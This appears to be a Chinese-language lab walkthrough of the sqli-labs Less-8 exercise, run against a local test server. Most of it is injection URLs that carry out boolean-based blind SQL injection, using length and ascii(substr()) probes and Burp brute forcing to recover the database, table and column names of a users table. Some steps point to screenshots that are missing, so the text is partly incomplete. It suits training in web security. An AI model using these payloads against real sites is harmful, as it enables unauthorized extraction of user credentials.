目录
http://127.0.0.3/less-8/?id=1?有回显
http://127.0.0.3/less-8/?id=1?有回显
http://127.0.0.3/less-8/?id=1’?没有回显
http://127.0.0.3/less-8/?id=1’?-- s 有回显
http://127.0.0.3/less-8/?id=1' and 1=1 -- s ?有回显
http://127.0.0.3/less-8/?id=1' and 1=2?-- s ?没有回显
说明注入类型是单引号字符串注入
http://127.0.0.3/less-8/?id=1' order by 3 -- s ?有回显
http://127.0.0.3/less-8/?id=1' order by 4?-- s ?没有回显
说明字段数为3
http://127.0.0.3/less-8/?id=1' UNION SELECT 1,database,3 -- s ?没有回显说明不是union联合查询
? ?http://127.0.0.3/less-8/?id=1' and updatexml('<a><b></b></a>',concat('1111',database(),'1'),'1') -- s ?没有回显说明不是报错注
?http://127.0.0.3/less-8/?id=1' and length(database())>5?-- s??有回显
http://127.0.0.3/less-8/?id=1' and length(database())<10?-- s ?有回显
http://127.0.0.3/less-8/?id=1' and length(database())=7?-- s ??没有回显
http://127.0.0.3/less-8/?id=1' and length(database())=8 -- s ??有回显?
则证明是布尔盲注
http://127.0.0.3/less-8/?id=1' and length(database())>5?-- s??有回显
http://127.0.0.3/less-8/?id=1' and length(database())<10?-- s ?有回显
http://127.0.0.3/less-8/?id=1' and length(database())=7?-- s ??没有回显
http://127.0.0.3/less-8/?id=1' and length(database())=8 -- s ??有回显?
则证明数据库名长度为8
用burp进行爆破
??
数据库名为security
http://127.0.0.3/less-8/?id=1' and (SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema=DATABASE()) =4 -- s 有回显
http://127.0.0.3/less-8/?id=1' and (SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema=DATABASE()) >3?-- s?有回显
http://127.0.0.3/less-8/?id=1' and (SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema=DATABASE()) >4 -- s?没有回显
说明security中有4个表
http://127.0.0.3/less-8/?id=1' and (SELECT LENGTH(table_name) FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1) =6 -- s ?有回显
http://127.0.0.3/less-8/?id=1' and (SELECT LENGTH(table_name) FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1) >10?-- s?没有回显
http://127.0.0.3/less-8/?id=1' and (SELECT LENGTH(table_name) FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1) >5?-- s?有回显
说明第一个表名的的长度为6
用burp爆破
将所需要的变量加§,并选择束集炸弹
将变量1改为
将变量2改为
最终结果为
第一个表名用:http://127.0.0.3/less-8/?id=1' and ascii(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1),1,1)) = 1 -- s
通过burp爆破步骤同上得到
所以第一个表名为:emails
第二个表名用:http://127.0.0.3/less-8/?id=1' and ascii(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1,1),1,1)) = 1 -- s
所以第二个表名为:refere
第三个表名用:http://127.0.0.3/less-8/?id=1' and ascii(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 2,1),1,1)) = 1 -- s
所以第三个表名为:uagent
第四个表名用:http://127.0.0.3/less-8/?id=1' and ascii(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 3,1),1,1)) = 1 -- s
所以第四个表名为:users
查到users用户表名
http://127.0.0.3/less-8/?id=1' and (SELECT COUNT(column_name) FROM information_schema.columns WHERE table_schema=DATABASE() and table_name='users') =2 -- s无回显
http://127.0.0.3/less-8/?id=1' and (SELECT COUNT(column_name) FROM information_schema.columns WHERE table_schema=DATABASE() and table_name='users') =3?-- s?有回显
说明字段名的字段数是3
用SELECT LENGTH(column_name) FROM information_schema.columns WHERE table_schema=DATABASE() AND table_name='users' LIMIT 0,1
用burp爆破,步骤同上得到
所以字段1的长度为2,字段2的长度为8,字段3的长度为8
步骤同上
1
2
3
查询得
所以第一个字段名为id,第二个字段名为username,第三个字段名为password
查询username和password总数
http://127.0.0.3/less-8/?id=1' and (SELECT COUNT(username) FROM users) =13 -- s?
Username=13
http://127.0.0.3/less-8/?id=1' and (SELECT COUNT(password) FROM users) =13 -- s
Password=13
查询username和password的最终结果
Username
passowrd同理